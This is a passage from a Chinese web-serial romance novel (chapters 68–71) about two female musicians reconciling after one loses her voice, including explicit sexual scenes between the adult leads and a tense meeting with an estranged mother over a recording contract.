在意识恍惚间,柳听颂似乎听到许风扰附身在她耳边说话,声音中的恶劣不加掩饰,一字一句道:“柳听颂你怎么那么、这样也能两次” 柳听颂没有回应,眼尾的泪迹就是最好的回答。 想要用这种方式挽回,就得付出极惨烈的代价。 这是柳听颂在今天晚上学会的东西,又在剩下的日子裏被不断加深,反复理解。 第68章 薄荷冰感和磨砂螺纹 “柳小姐的情况棘手, 目前国内外都没有一个完整的系统化治疗,我们能做的也很少,一切还得看柳小姐自己。” “但勉强谈得上好消息的是, 既然已经恢复过一次, 柳小姐再次摆脱阴影的可能性是很大的,你们也不要太过着急, 以免让她生出焦虑。” “多陪伴,少催促。” 熟悉的重复话语又一次响起,许风扰拧着眉头说了声谢谢, 而后才带着柳听颂离开医院。 沉重烦躁的心情没有缓和, 反倒越发压抑。 以至于开车离开途中, 两人都不曾交谈,直到超市后。 相比于其他超市, 这裏显得安静许多, 四处站守的店员都比顾客多, 随意一瞥, 货架间的标价都贵得咂舌。 许风扰往日也鲜少来这, 不至于买不起, 只是觉得这儿少了寻常的烟火气, 全是由金钱堆砌出的华贵。 可柳听颂如今的情况特殊,寻常地方总要提心吊胆,担忧其他意外,而在医院中所受的烦闷无法缓解,总想找个地方走走,便只能如此。 拒绝了店员的跟随, 许风扰单手推着购物车,一手牵起柳听颂的衣袖, 慢悠悠往裏。 旁边那人温驯,亦步亦趋跟在许风扰身边,相对于对方不肯松开的眉头,她反倒神色平静,甚至隐隐带着几分轻快。 “你想吃什么?”许风扰在货架间挑拣,随意将薯片往银框裏丢,又道:“等会就去接三斤。” 昨夜事后便商量好,许风扰这儿还是不便,动不动就有狗仔蹲守,还是得搬回柳听颂那儿,而那只被暂时寄养在宠物店的缅因,自然得重新接回。 “想要什么自己拿。” 许风扰不由叮嘱,即便心裏还有芥蒂,但还是下意识照顾对方,她又补充了句:“或者扯一下我的袖子,我帮你拿。” 她这话可笑,柳听颂只是暂时失声,又不是断手断脚,哪裏需要这样的照顾,可柳听颂没有反驳,只是顺从地点了点头。 两人往日都不是很爱说话的人,时常待在同一片空间却不开口,偶尔拥抱对视,也觉得放松。 可此刻的许风扰反倒多话,几次主动开口。 “这个吃吗?”许风扰拿起盒果切,望向旁边人。 柳听颂摇了摇头,下意识抬手,想要比划,却又骤然止住,继而又拿出手机,低头打字。 因身高差距,两人面对面站着时,许风扰总要稍低头些,垂落的白发挡在眼前,瞧不清眼中情绪,只是捏着购物车的手紧了紧。 那人打完字后才抬起手机。 【还是买点水果,回去自己切吧】 “好,”许风扰没有多说什么,已偏头看向别处,好像不经意地提起:“你什么时候学的手语” 柳听颂就打字。 【拖延了很久才学的。】 许风扰看了眼,也不知道自己在挑什么,伸手就往架子上抓,把已用保鲜膜包裹的水果丢进框中。 【当时也不知道自己倔什么,总觉得什么时候会好吧,就一直不肯学】 【应该是失声的半年后】 许风扰的视线停留在最后三个字,不知是什么滋味,抿紧的唇线绷成一条直线。 柳听颂瞧出许风扰的不对劲,拍了拍她的手背,又打字安慰。 【其实挺好的,不会说话就可以避免很多无用的交际和废话】 【偶尔我还会装作不懂手语,省了很多麻烦】 她表情看起来很轻松,好像完全忽略了这事对自己是多么大打击,一个被拥有天籁声线的天后,突然就失去了与生俱来的天赋,本就受阻碍的事业彻底凉透,说不绝望,一定是假的。 柳听颂扯了扯她的袖子,又将她胡乱抓下来的苹果递回去,让她放回原位。 许风扰这才恍然过来,抬手接过苹果,往旁边一塞,就道:“手语好学吗?” 柳听颂试图宽慰。 【不算难,只是平常生活裏很少用到,所以懂得人并不多】 许风扰“嗯”了声,像是寻常话题,不曾在此纠结,抬手又拿了盒车厘子,下一秒又拽住柳听颂手臂。 只顾着低头打字的人差点撞到购物车上,还好许风扰提前拉住她。 “好好走路,”她低声斥了句。 可话音刚落,又反应过来,如果不是她喋喋不休,柳听颂哪裏需要一直低头看手机。 幸好柳听颂不在意,抬头对她笑了笑,眉眼间还带着倦意,但好在眼眸中的血丝已褪尽,不像前几日那么骇人,凉薄矜雅被消磨,只剩下略显颓靡的轻轻柔柔。 她用口型道:“没事。” 束在对方小臂的手收紧,在过分白净的肌肤上留下浅淡指痕。 莫名的烦闷又攀起,好像对方做什么都不对,哪怕像现在这样百依百顺也觉得不舒坦。 旁边店员扫来好奇一眼,从她的角度看,这一对情侣尤为奇怪,像是闹了别扭一般,虽并肩而行,却隔着巴掌大的距离,可下意识的倾身、贴近又做不了假,明眼人都能一眼看出的亲昵。 尤其是年长那位,低头抬起的眼眸,几乎都要紧粘在另一位身上,有意无意靠近,又克制地收回手。 而个头稍高的那位,看着别别扭扭,僵着个脸,可对方一有什么动作,她立马就能察觉到。 心裏生出好奇,店员忍不住转身注视。 而年长那位恰好在这时偏头,露出半边轮廓。 是柳听颂! 店员倒吸一口凉气,瞬间瞪大眼,本能想去抓手机,却捞了个空。 这才想起,他们工作期间是不能携带任何电子设备,私下还签订了保密合同,不能洩露客人的隐私。 她刚刚一时亢奋,竟忘了这事。 如果这人是柳听颂,那另一个人是…… 她眼珠一转,落在那个高高瘦瘦的身影上,白发挑人,即便是颜值出众的内娱中,能驾驭白发的人也不多,更别说如此出类拔萃的。 脑子中闪过几个人名,最后竟浮现出许风扰的名字。 不是说柳听颂和许风扰私下不合吗? 这是怎么回事! 她脑中瞬间冒出千百个问号,还没有来得及思考,就见年长那位突然向旁边靠近一步,继而垫脚,仰头,亲在许风扰侧脸。 啊? 店员吓得腿都软了,依赖着这个岗位,她其实暗戳戳吃到了不少瓜。 例如某某爱妻高管,实际以加班为理由,陪小三逛超市。 某个立贫穷人设的明星,每回的单次消费都要超过六位数。 某个以性格温和着称的明星,实际刁蛮事多,最喜欢折腾跟随在她身后的店员,每次她一来,大家都要互相推辞躲开。 可这些瓜哪裏比得上现在,两个完全无法被联想到一块的人,竟然是情侣! 而且看起来还是柳听颂主动。 她心脏跳得飞快。 许风扰明显没料到对方会这样做,一时僵住,仍由对方吻在她唇边,留下温柔凉意。 像是春天的风,缠绕在薄唇间,蜻蜓点水般就分开。 【不要垮着个脸】 手机屏幕再一次亮起,等许风扰看完后,她又抬手拂过许风扰眉心,试图将皱起的眉头抚平。 【开心】 屏幕上的字又换成别的。 抿紧的唇松开后又压实,许风扰别开眼,只道:“别闹。” 话毕,她一手扣着柳听颂手腕,一手推着购物车往前。 水果、食材还有给昭昭买了的玩具,最后购物车停留在包装得眼花缭乱的地方。 不记得家裏的那些指///套是否用完,但为了避免某些麻烦,两人还是不约而同地在这儿停下。 惯用的牌子先拿了两盒,没什么味道也没有什么花样,唯一的优点在于医用级别,较为安全。 许风扰随意挑了几个相对朴实无华的,熟练地翻向后面,看起成分。 而一直保持安静的柳听颂,恰好在这时扯了扯许风扰袖口。 “嗯?”许风扰偏头看向她。 柳听颂用视线示意前头。 不是许风扰看过的那几个类型,口味与花样都不同。 拽住袖口的手又扯了扯,像是催促。 许风扰扯了扯嘴角,露出个似笑非笑的表情,故意反问道:“薄荷冰感的?” 柳听颂耳垂微红,却点了点头。 “凸点的?” 柳听颂低着头,又扯了扯许风扰的衣袖。 “磨砂螺纹……”许风扰无意识拖长声音。 不等柳听颂回应,她就偏头看向柳听颂,看似平静的面容隐隐带着戏谑:“你受得住吗?” 柳听颂没说话,抬手取过盒子,直接往购物框裏丢。 许风扰也不拦着,就看着柳听颂往裏头丢东西。 再往前走几步,又瞥见同类型的其他用品,不禁回忆起上次柳听颂丢在床榻间,故意让她瞧见的那些东西,思绪落到此处,便又抓了个润滑油丢进去。 柳听颂脚步一僵,又看见许风扰拿起一猫爪状的皮拍子往裏丢。 既然已拿了这些,后面的东西就变得理所应当,玫瑰形的蜡烛、皮质手铐与链子。 两人好像在比赛,前者过分一点,后者就变本加厉,最后购物车被堆成小山,原本刻意丢往下的盒子,此刻反倒变成相对正经的东西。 幸好此刻人少,收银处完全不需要排队。 许风扰默默推开柳听颂,叫她去另一边等着,自己则戴上口罩。 挑选时不甘示弱,此时才冒出一点点羞窘。 幸好店员都受过严格培训,未露出半点异色,许风扰就这样僵着身子,亮出收款码。 ——滴。 夜深人静时,客厅中只剩下微亮的投影仪照明。 戴着猫耳箍的人跪坐在许风扰大腿上,咬住洗好的樱桃,小心递到许风扰唇边。 第69章 她拽住了她的尾巴 时间回到几个小时前。 采买的东西被依次放好, 之前堆积成小山的衣服谁都没提,就这样放回原位。 最委屈的大缅因喵喵了半天,控诉了一堆听不懂的猫语, 让柳听颂、许风扰心疼了半天, 连开两个罐头和猫条,好不容易才哄好。 吃过晚饭后, 不知谁提起,窗帘合拢,投影仪被打开, 熟悉的歌剧又在客厅中环绕。 许风扰盘腿坐在沙发中, 怀裏抱着缅因。 这家伙真的可怜惨了, 好端端一只猫,现在都成粘人大狗了, 不是跟着柳听颂走来走去, 尾巴勾向柳听颂脚踝, 就是蜷缩成一小团, 使劲往许风扰怀裏塞。 清洗好的果盘落在桌面, 发出清脆声响, 柳听颂扯来薄被, 披盖在许风扰大腿。 这几日天气越来越凉,不能再像夏日那样肆无忌惮。 怀裏的缅因见柳听颂坐下,又喵喵叫着粘过去,两个大爪子压在柳听颂腿上,全然不知自己又多重,一下子就印出两个猫爪印。 柳听颂伸手抱住她, 无法出声安抚,便低头蹭过大猫脸颊, 以此表示她在。 许风扰余光一瞥,只将毯子挪向对方,自己却往旁边挪了些,堪堪能盖住腿。 两人间的距离被拉远,但毯子再长也就那么点,还不够塞下一只脚踏两只船的缅因,它上半身还搭在柳听颂那边,尾巴却悄悄缠在许风扰手臂,一下又一下都轻敲。 许风扰看得好笑,不由拽住它尾巴。 那家伙竟就这样和许风扰玩起来,毛茸茸如大扫把的尾巴遛出掌心,又耷拉往下,落在许风扰虎口,不等再抓住又逃脱,将欲擒故纵四个字表现得淋漓尽致。 音乐声还在继续,许风扰却难得分神,和某个缅因较起劲。 “坏东西,”许风扰憋着笑,忍不住出声斥道。 回应她的是缅因又抽出的尾巴。 柳听颂不曾打扰,精致眉眼柔了又柔,眼眸中盛满粼粼水波,只倒映着许风扰模样。 缅因站久了不耐,突然一整个趴下,大脑袋搭在柳听颂腿上,尾巴依旧勾在许风扰手腕上。 许风扰被它逗出脾气,哪裏能那么轻易就放过,翻手就将尾巴压在掌下。 “喵,”三斤不满地叫了声,还没有来得及生气,又被柳听颂挠了挠下巴,不由眯眼发出咕噜咕噜的声音。 此时安静,灯红酒绿的喧嚣都被隔绝在落地窗外,厚重帘子遮挡光线,整个客厅都陷入半明半昧的氛围裏,音乐声与猫叫掺在一起,莫名多了几分温馨。 被挠爽了,那缅因彻底摊成一团,后腿往后一撤,大屁股就搭到许风扰身上,而上半身还在柳听颂那边,愣是凹成一条,也不知道舒不舒服。 柳听颂掀起眼帘,瞧了许风扰一眼,便往她那边挪了挪,让极力伸长身子的缅因终于能好受一些。 许风扰瞧见却没说什么,自顾自拽住大尾巴,大拇指无意识摩擦向尾巴尖尖,像在玩什么有趣的东西。 同样盘起的腿,膝盖有意无意地擦过对方。 许风扰只当不知道,盯着前头屏幕看。 幸好是已看过多次的歌剧,这才免于走神后的迷茫,不需要再往前拖,很顺利就接了上去。 柳听颂的视线垂落,停留在她拽着猫尾巴的手上,片刻之后才挪开,将果盘轻轻推到对方面前。 天气一冷,许风扰就不爱吃水果,故意装作没瞧见。 那人不说她,只是抽出另一只手取过铁制小叉,戳着水果往许风扰唇边送。 之前养成的习惯作祟,即便两人已闹成这样,许风扰仍转不过弯来,下意识就低头咬住。 “冰……”她不满地含糊一声。 这话刚落,两人竟同时僵了下,重复过许多次的剧情,总会格外深刻,以至于回忆翻涌,无法控制。 有着和大部分年轻人一样的通病,许风扰不大爱吃水果,尤其是天气冷的时候,宁愿一天两颗维生素c,也不愿意多瞧那水果一眼,总要柳听颂想着法子哄。 而许风扰看歌剧的时候最入迷,不管柳听颂喂什么,都会下意识低头叼住,往往都吃了个半饱,才反应过来。 不过格外冷的那几天例外,冰冰凉凉的水果刚贴在唇边,许风扰就能立马反应过来,偏头就躲开,不满地抱怨句冷。 但年长那位总有办法,既然许风扰嫌水果冰凉,她便想办法捂热…… 回忆被歌声打断,许风扰咬碎齿间的果肉,任由冰凉的甜蜜汁液散开。 “我自己来吧,”她拿过柳听颂手中的叉子,挑拣了块最小的果肉,吃完之后就攥在手中,一直没能继续。 柳听颂眼帘垂落,浓睫在眼睑留下浅灰色的影,怀裏的小猫还未察觉不对,耳朵贴着脑袋,睡得香甜。 再看,被许风扰捏着手中的尾巴,从开始到现在就没松开过。 时间随之流逝,等许风扰反应过来,才察觉到旁边人不知何时已经离开。 没大在意,只当柳听颂去忙别的事情了。 旁边的缅因打起小呼,已经不许许风扰再揪着它尾巴,蜷缩在柳听颂原来的位置上,缩成一大团毛球。 许风扰凝视了眼,笑意就慢慢散开。 当真应了那句老话,无论两人闹成什么样,孩子总归是无辜的。 铁叉被丢回原位置,许风扰仰头闭眼,手臂便搭在眼前,长时间的集中注意力,总会让人生出几分倦意,打算缓一缓再起身。 脚步声恰时在此刻响起,从远至近,最后落在旁边。 许风扰没理会,依旧像之前那样,却不料大腿一沉。 有人跪坐在她身上。 许风扰顿了下,却没能阻拦,单薄的家居服无法彻底隔绝感触,依稀能判断出对方没有穿什么。 也不是。 应该还留件衣服。 所以才会在靠近时,有布料摩擦的窸窣声响起。 好像小时候喜欢玩的推理题,许风扰越发不肯松开手,就这样挡住视觉,凭借这放大的细节,推测出正确的答案。 淡淡的香气随之涌来,温温柔柔地将许风扰包裹。 不是市面上的任何一种香型,据说只有在自己生理性喜欢的人身上才能闻见,生物学管它叫费洛蒙。 费洛蒙…… 许风扰掉进这样的香气裏,仍由自己不断往下坠。 瓷盘被端起,发出细微响动,讨厌的水果又被拿到面前。 许风扰皱了皱眉,心想要是柳听颂再做出重复的事,她就该生气了。 可柳听颂没有,水果被丢在另一边。 这让许风扰生出疑惑,越发努力去判断,捕抓更微弱的细节。 比如说时有时无的铃铛声、擦过她小腿的毛茸茸感受,还有随着柳听颂贴近时,抵在身前的柔软。 呼吸顿了顿,因后靠仰头的脖颈拉扯,露出薄皮下的喉管,随着呼吸,上下滑动。 许风扰此刻还穿件黑衬衫,这是她在那堆衣服小山裏中,翻来覆去才挑出的一件不算皱的衣服。 买了之后就没想起,就连吊牌都没拆,所以被柳听颂安排在小山最边缘。 扣子被胡乱扣上几颗,作为搭配的领带未系,就这样两边搭着,松垮的领口露出一截平直锁骨,还能隐隐瞧见一两点红痕,是昨夜柳听颂忍耐不住时留下的吻痕。 那人还在靠近,夹在腿边两侧的腿有意无意收紧,将她紧紧夹在中间,动弹不得。 许风扰还没有来得及反应,就先皱了下脸,被垂落的白发滑过脸颊,泛起一阵痒。 不过很快就被柳听颂注意到,抬手勾住那缕发丝,小心替她别在耳后。 水果还是被喂到唇边,只是这一次不再冰凉。 而且…… 像是一场猜谜游戏。 葡萄、樱桃、哈密瓜、桃子。 许风扰挑食,一种水果最多吃几口就腻,所以柳听颂每次都会切很多种类,眼下也将答案变得多样。 唇舌碰撞,被碾碎的果肉掺进更甜腻的汁液。 许风扰越发仰头,另一只手扣住对方的腰,尝到一点后就贪婪想要更多。 手落下后,眼睛依旧未睁开。 温凉的手抚在脖颈,顺着喉管攀爬落下。 过分白净的肤色因此染上绯色,唇边不免染上水迹,睫毛微微颤动,呼吸更乱。 旁边的缅因翻了个身,依旧睡得熟,不知道是不是因为在宠物店受了委屈,觉得自己被主人丢弃,如今回到家裏才彻底放下心。 投影仪开始重复播放,之前的歌剧又一次响起,之前可以沉浸其中的乐声,现在都显得无比吵闹。 旁边的水果盘随着凹坑倾斜,边缘贴在皮肤上,生出刺激的凉。 因姿势的缘故,柳听颂能够低头看她,黑白分明的眼眸映着微光,如起伏扇动的萤火,难掩///欲念缠绕向怀裏人。 薄唇碾磨,将剩下的汁液一点点抿进舌尖。 抚在脖颈的手无意识收紧,想要扣住、束缚,完全拥有。 可下一秒,许风扰拽住了猫尾巴。 不是旁边那只缅因的,是另一条。 没有一丝杂毛,白净而蓬松,只有末端处沾染了些许湿痕,稍用力就可以陷进裏头,将手指隐没。 “小猫……”许风扰掀开眼,被挤压许久的眼球还有些朦胧,好一会才能定住焦。 尾巴在下坠,拉扯出奇异的感受。 柳听颂想要回应,却只能发出含糊的音节,脖颈处的铃铛随之响起,发出悦耳声音。 ——丁零当啷。 许风扰突然笑了起来,明明没有醉,却好像已经微醺。 她懒洋洋地开口,问:“小猫你会摇尾巴吗?” 束于手中的尾巴就晃了晃,像在回答。 第70章 吃樱桃 猫尾巴在指间穿梭, 被精挑细选后的软毛洁白而滑顺,稍有不慎就会从掌心溜走。 在摇摇晃晃中,有一下没一下地扫过小腿。 许风扰并不着急, 像之前逗三斤那样, 不紧不慢地拽住又松开手。 很明显,相对于三斤的灵巧, 这只猫明显要生涩些,小心躲避又被抓住,脖颈处的铃铛丁零当啷响个不停, 连猫耳都晃起。 客厅光线依旧, 仅凭投影仪映出的光亮照明, 周遭的一切都被模糊,陷入更朦胧的氛围裏。 那人还垂着眼, 耳垂发红, 与瓷白肤色先衬, 便显得极明晰, 几乎能瞧见那细小柔软的绒毛, 微微发着颤, 还要忍着羞赧, 轻扭着腰,将尾巴晃进许风扰掌心。 “小猫……”被取悦的许风扰轻笑,几乎呢喃地喊道。 光只洒落在她的半边身子,恰好将拽着尾巴的手完全藏起,陷入灰暗裏,而另一边的眉眼清晰带笑, 写满了故意作弄的恶劣。 当地位彻底转换,一切过分都变得理所应当, 甚至被欺负的那位还心甘如怡,百般讨好。 “这可不像戒断啊。” 话虽这样说,手中的尾巴却没有松开过,随着拉扯,柳听颂闷闷哼了声,眼尾生出雾气,越发可怜。 她抬手,像快速比划了什么,做完后才想起许风扰不懂,又低头贴向她唇角。 许风扰只扬起下颌* ,不主动也不抵触,仍其索取。 好像拽着那尾巴,她就可以不再那么吝啬。 丢在旁边的手机骤然亮起,震动声在宽大客厅中回响,旁边的小猫喵了声,像是被吵醒。 两人都不想理会,没空理会。 可不知那烦人的东西是谁,竟一个接着一个,像有什么十万火急的大事。 许风扰偏过头躲开那人满是眷恋的轻吻,随手拿起手机。 刚刚接通就听到楚澄夸张至极的声音,大喊大叫道:”你怎么那么晚才接我电话?!” “你要再不接电话,就要错过了你最好朋友的终身大事了!” 什么乱七八糟的东西。 许风扰不禁皱眉,下意识就道:“你今天去相亲了?” 也不是没这个可能,楚澄前两年就和家裏出了柜,她父母不肯接受,便一直在给她预约心理医生,更早时候还老被骗去相亲,扰得楚澄不耐其烦。 “什么相亲,什么相亲?!” “不要用这种东西污染我纯洁的感情,我这叫一见钟情!” “老天奶,我的正缘来了!” 一声接着一声的话语从扬声器穿出。 许风扰依旧懒散,没有半点对朋友终身大事的半点关心,只道:“一见钟情?那就是不认识咯?” 楚澄一下子尬住,讪讪道:“也不算不认识吧……” “哦?”许风扰偏了偏头,耳朵贴着手机屏幕,视线依旧落在前头。 几次被往下拽的尾巴似有脱落,许风扰便抬手往上,惊得柳听颂腿一软,差点就摔进她怀中。 不知道哪儿冒出的水,滴答滴答掉在小腿、足背,不算凉,甚至是温热的。 那些压抑、不敢发出的声调,挤在紧抿的唇齿间,惹得眼眶更红。 身上唯一的遮挡是那件曾穿过的白衬衫,因这半月的消瘦而略微宽松,却依旧能勾勒出妙曼身形,甚至在没有围裙遮掩的情况下,变得更加直白,那薄薄布料下、被挤压后的深色痕迹,垂落的发丝企图遮掩,却一点作用都没有,早就被看透、看光了。 “我的天,你都不知道我经历了什么?” “你还记不记得那天S大校庆!” 这话落下,柳听颂骤然僵住,小心翼翼地看向许风扰。 可惜那一头的人不知趣,还在嚷嚷。 “那天咱们不是约着在仓库门口集合吗?” 许风扰“嗯”了声,表示自己再听。 “以后有一个新的乐队搬进去了。” 许风扰想了想,反问道:“那个鲨鱼?””对!”楚澄一拍大腿,就道:“就是那鲨鱼乐队。” 她一字一句地大喊道:“我!喜!欢!上!她!们的!鼓手了!” “哦……”比起楚澄的兴奋,许风扰明显冷淡得多。 “你是怎么回事?!你怎么不关心一下我,”那人当即反问,气不打一处来。 “行吧行吧,关心。” “你怎么对人家的一见钟情的?”许风扰很是敷衍。 注意力还在别处,柳听颂取来湿巾,替她小心擦拭着指腹,低垂的眉眼很是认真,可垂落的尾巴却还在摇晃,比旁边那只缅因,更会磨人。 纸巾被一张张丢在地上,那人抬眼看了许风扰一眼,直到那人无声默许,她才扯过对方的手,慢慢往下探。 刚碰到,她就不禁拧了拧眉,几日的不停歇实在过分,即便都有涂药,还是没能彻底恢复过来,过分细嫩处甚至已经破皮,很是凄惨。 可饶是这样,她还扯着许风扰的手,像只贪玩的猫,宁可冒着走玻璃片墙头的风险,也要往别的地方去。 覆着厚茧的手染上水迹,每一点挪动都会惊起一阵战栗,可她却不肯停。 “就那天,我不是丢了张签名进去吗?”楚澄还在说话,完全不知道自己有多烦人。 “我留了个联系方式,寻思着要是她们愿意信我,我就给她们推荐一两个机会,也算帮学妹们一把了。” 某个热心大狮继续叭叭:“结果你猜怎么遭” “嘿!” “她们真打了,但叫我证明自己真的是楚澄。” “我怎么证明我是我啊?我想了半天,差点把自己身份证给拍过去了。” “结果人家不要,说我没有证明我是我自己前,她们不会加任何的联系方式。” “差点给我气笑了。” 手机掉落在沙发,将那些嘈杂的声音都压低。 许风扰分神一瞬,有些遗憾地想到这时已不用捂住柳听颂的嘴,低声警告她不要发出旁的声音,少了好多乐趣。 看出她的走神,柳听颂像闹起了脾气,松开拽着对方手腕的手,衬衫扣子被一颗颗解开。 许风扰果真回过神,视线下移又往上,恰好瞧见柳听颂专注看她的眼眸,用口型无声重复。 看我。 宝宝,看我。 衬衫敞开,露出稍显骨感的肩颈、丰润白皙的柔软,还有随着紧张,微微吸紧的腰腹。 柳听颂随手将发丝撩至一边,露出更多。 她看着许风扰,眸光试图躲闪又掩饰羞赧的移回,无声的催促。 “阿风”那边人不知说到那儿了,见许久没有回应,忍不住开口喊道。 许风扰扯了扯干燥的唇,只挤出一句:“我在。” 不知是在回应楚澄,还是柳听颂。 毕竟两个人都用不同的方式回答了她。 前者松了口气,继续道:“我还以为电话挂了呢?你能不能对好朋友的感情上点心。” “多亏我脾气好,和她们说来说去,最后让她们带上家伙来我的酒吧,既能证明我是我,又可以顺便给她们表演一次,看看实力。” “哎嘿,后面我也没多想,就叫底下人去安排了,今天还忘了这事,差点和她们约着去跑山了,幸好她们来之前还给我打了个电话,”楚澄默默松了口气。 可许风扰没有回答,被附身而来的人,按住后脑勺,往自己怀裏压,视觉、嗅觉、触感都被柳听颂剥夺,仅剩下的听觉也变得不大清晰,像是掉入温热的水中,不断往下陷。 尾巴还在手中,从抓住后就没有松开过,不知道有多喜欢。 无意识地拉扯又继续它往下,想要脱离。 柳听颂拍了拍头她的脑袋,像在说乖,继而空出一只手往下,一点点压回去。 手中的尾巴摇得更厉害了。 闷哼声与急促呼吸交替,指尖从发丝中穿梭,轻轻揪住白色发尾。 “她们实力还是不错的,要是你有空可以过来看看。” “但这不是重点。” “重点是她们的那个鼓手,我天,你知道什么叫一见钟情吗?” “我那会就站在臺下看着她,我勒个心脏狂跳啊。” “我真的、我这辈子第一次有这种感觉,我真的是喜欢上她了。” “你得帮我,你们得帮我追她。” 许风扰已完全听不清,不知道对方在阔噪什么,明明早已下定决心脱离,却还是会一次次沦陷。 电话不知什么时候挂断,投影仪中歌剧已到最紧张刺激的时刻,每个人的表情都写满了忐忑。 之前的水果又派上了用场,刚刚还闹着不吃的人,现在却主动出声要柳听颂喂。 那人向来惯她,更何况是这种情形下。 还携着水滴的樱桃被一点点放入,看得许风扰呼吸微沉,连这样小的樱桃都要小心翼翼,那明显比樱桃大的猫尾呢 不知这人躲在房间裏,暗自折腾了多久,才能将它放入。 音乐声高昂,旁边的缅因终于无法忍受一觉被吵醒好多次的痛苦,直接从薄被中钻出,看旁边柳听颂与许风扰一眼,不知为何地喵了一声。 见两人不理它,它又迈着大爪子,先去吃了口粮,又悠哉悠哉地喝了口水,慢悠悠往自己的小窝去。 可睡觉还太早,最后的准备工作还没有结束。 大猫一甩尾巴,便蜷缩进猫窝裏,悠哉悠哉开始舔毛。 而许风扰也是同样,但不同与三斤的主动,只是因为那人承受不住时就忍不住往下落,那猫尾巴就刚好压在许风扰脸上,沾染上她唇边水迹,还有些许被咬碎的樱桃汁液。 扬起的下颌绷紧,扣着对方的腿往下压。 夜色更重,投影仪早就停下,光亮变得越发微弱,风吹过厚重窗帘,却无法将它推开。 屋外的月亮依旧皎洁,只是随着时间流逝,逐渐被薄云遮挡,慢慢看不清轮廓。 在某个气氛热烈的酒吧墙外,精神亢奋的楚澄打通了一个又一个电话,将和许风扰说过的话语重复了一遍又一遍。 不知过了多久,曲折压在沙发的膝盖被磨红。 许风扰打了个饱嗝,将已经瘫软落下的柳听颂捞入怀中,闷闷说了句:“姐姐,好饱。” “实在喝不下了。” 柳听颂试图抬手捂住她的嘴,却摸到湿漉漉的一手水,从眉骨、鼻梁、嘴唇到脖颈,无一例外,全都被淋透。 最后还是得由她处理,精疲力尽还得伸手去找纸巾,替许风扰一点点擦拭干净。 角落裏的猫不曾理会,已熟练地将这些声音完全无视,蜷缩着身子躲在窝裏,不知又梦见什么,喵喵叫了几声,后脚还不停踹。 夜色更浓,漆黑涌来,将这一切都吞没,直至彻底看不清。 沙发裏相拥的两人无声,相拥而眠。《 》 70-80 第71章 我比烟更管用 再过几日, 秋寒更重,街道两旁的树木都已枯败,落叶被扫尽后, 更显萧条, 来来往往的人更少。 随着一声礼貌问询,S市某一处隐蔽茶楼, 迎来了等待已久的客人。 那人穿着低调,头戴鸭舌帽、鼻梁上有黑框眼镜、大半面容都被口罩遮掩,只能从帽沿下的几缕白发中, 猜测出她的身份。 受过严格培训的店员, 一秒就收回好奇视线, 将人往裏头包厢领,继而贴心关上房门。 ——咔嚓。 包厢与外界隔绝, 坐在窗边的女人像是不曾察觉, 依旧偏头看向外头, 涣散的眸光, 不知在想些什么, 直到来人在她旁边坐下后, 她才回过神。 许风扰不曾主动出声, 抬眼一瞥就低头。 相比去医院前,许南烛明显苍老许多,长时间不曾休息好的代价沉重,眼尾细纹明显,鬓间多了几缕白丝,锐气被消磨, 终于能让人反应过来她已是个年近五十的人。 不过这都不关许风扰的事,她自顾自低头, 给自己倒了杯茶水,手法一般,更看不懂是什么茶,倒完之后就搁在桌面,一口没碰。 反倒是许南烛回头,突兀出声道:“都匀毛尖,想起入口清鲜滑顺,微苦后回甘,你可以多尝尝。” 许风扰点了点头却没有动作,只道:“说。” 许是觉得太生硬,又好像是催促,她又补充了句:“你叫我过来做什么?” 自医院离开后,许南烛就鲜少联系她,直到昨夜才打来电话,约她在这儿见面。 “外婆已经下葬了,在城郊南园那边,”她自顾自道。 丧事期间,他们也给许风扰发过消息,倒没有像之前那样趾高气扬的命令,只是将地址、事项告知,再问一句许风扰能不能过来。 许风扰不想理会,一条消息都没回过,许南烛他们也不曾逼迫,好像就只是礼貌告知而已。 许风扰眼帘颤了下,覆着厚茧的指腹捏着茶杯,无法阻拦热意的薄壁烫手。 “如果你有空的话,可以去看一眼,”许南烛单手捏起茶杯,低头一抿。 许风扰依旧沉默,挺直的脊背绷得太紧,以至于泛起些许酸痛。 眼下气氛依旧一般,只比S大校庆的那次稍缓些,不再那么剑拔弩张,但生硬僵冷。 “你就想说这些?”许风扰忍不住催促。 茶杯被放下,许南烛摇了摇头,想说些什么规劝的话,又骤然止住,明白许风扰不会理会她,反倒会让这次见面陷入更僵硬的状态裏,索性放弃。 杯子被放下,杯底还剩下些许的茶汤,惊起圈圈涟漪。 面对油盐不进的许风扰,即便是许南烛都没有半点办法。 她只能嘆了口气,将早就准备好的东西取出,置于木桌推向对面。 是那把外婆塞进许风扰手中,又被她丢弃在床头的钥匙。 许风扰视线低垂,不知在想些什么,不自觉摸了摸衣服,明明那场雨已经停下,她却仍觉得自己穿着湿透的衣服。 “这是她给你的,”许南烛停顿了下,又道:“你外公已经搬出去了,那间房子会一直保持原样……” “你的房间也是。” “他们一直没有动过。” 许南烛轻轻嘆了口气,说:“如果有时间,过去看看吧。” 许风扰没有接,依旧杵在那儿。 说白了,她依旧抵触那一切,之前病房中的接过,不过是对将死之人的心软,一瞬就消散。 “别这样坚决的拒绝,我以前、”许南烛下意识开口,又骤然僵住,只补充了句:“你外婆之前的意思是将房子转到你名下……” “我不要!”许风扰声音一扬,还是忍不住冒出恼意。 茶杯中的波澜平静又掀起。 许南烛最后一点耐心被耗尽,整个人往后靠,双臂抱在胸前,就道:“这是你外婆的遗嘱。” “许南烛你别给我扯什么你我,都是被赶出去的人,你装什么大尾巴狼,”许风扰冷声喝道。 她进来之后只摘了口罩,保持着随时可以走的姿态,眼镜下的碧色眼眸冷冽,手已无意识握成拳。 相比于许风扰的恼怒,许南烛反倒平静,看似无奈地揉了揉眉头,就道:“如果我们没办法好好说的话,那就继续做交易好了。” 这是什么意思?! 许风扰心中冒出警惕,还没有忘记前一回的交易给她造成了什么代价,不由应激。 那人反倒气定神闲,比起母亲这个角色,她显然更适合做个商人,就道:“你们乐队马上就要解约了吧?” 许风扰眉头更紧,眼眸中的提防更重。 “签到我这边来怎么样?”许南烛终于抛出鱼鈎。 “我可以给你们最高级别的合同,并保证给予你们极高的自由程度,你们想做什么都可以,想去哪演出就去哪裏演出,想唱什么歌就唱什么歌,公司只负责给你们递资源,愿不愿意由你们说了算。” 许南烛给予待遇确实优越,起码许风扰还没在其他地方听到过这样的话,但…… 许南烛看出她的抵触,又道:“别拒绝,燃陨并非你一个人的,不是吗?” “你应该为她们考虑考虑吧?” 拒绝的话就这样被堵住在唇间,许风扰面色难看。 “如果你觉得这个筹码还不够的话,”许南烛突然一笑,卖起关子。 “你觉得柳听颂的事还能瞒到什么时候?” 